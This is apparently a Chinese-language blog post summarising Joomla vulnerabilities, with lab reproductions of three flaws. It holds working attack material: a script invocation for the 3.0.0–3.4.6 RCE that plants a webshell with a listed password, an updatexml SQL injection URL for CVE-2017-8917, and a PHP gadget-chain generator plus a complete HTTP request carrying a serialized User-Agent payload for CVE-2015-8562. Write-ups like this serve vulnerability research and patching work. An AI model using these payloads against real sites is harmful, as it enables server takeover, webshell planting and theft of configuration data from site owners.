Joomla漏洞总结

时间:2022-07-25
本文章向大家介绍Joomla漏洞总结,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 漏洞描述

Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: https://downloads.joomla.org/,漏洞位于根目录下的configuration.php,由于该CMS对函数过滤不严格,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。

漏洞影响版本 Joomla 3.0.0-3.4.6

漏洞复现 搭建完成如下图

运行脚本检验是否存在漏洞

python3 Joomla-3.4.6-RCE.py -t http://10.12.1.25/Joomla_3.4.6-Stable-Full_Package/

漏洞利用 python3 joomla3.4.6_rce.py -t http://10.12.1.25/Joomla_3.4.6-Stable-Full_Package/ --exploit -l 10.12.1.25 -p 6666

成功在configuration.php目录下写入一句话木马(linux的话可以弹shell) 密码为bqgpjdouovnjsuveyjirilxiqzbemyjsnhooizjwscgjinjjwm

成功连接

Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞 安装完成后,访问

http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

即可看到报错信息

Joomla 3.4.5 反序列化漏洞(CVE-2015-8562) 本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。 通过Joomla中的Gadget,可造成任意代码执行的结果。

影响版本 Joomla 1.5.x, 2.x, and 3.x before 3.4.6 PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

漏洞复现 我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:

再用如下脚本生成POC:

<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a);

$poc = str_replace("x00*x00", '\0\0\0', $poc);

echo "123}__test|{$poc}xF0x9Dx8Cx86";

将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。然后同样的包再发一次,我们的代码被执行:

GET / HTTP/1.1
Host: host:8080
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Cookie: b75d0a0a102c83a58752ca23c294bdfb=01ebc701d30c6a74457056da2ffeb2e7;
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"connection";i:1;}4
Content-Length: 2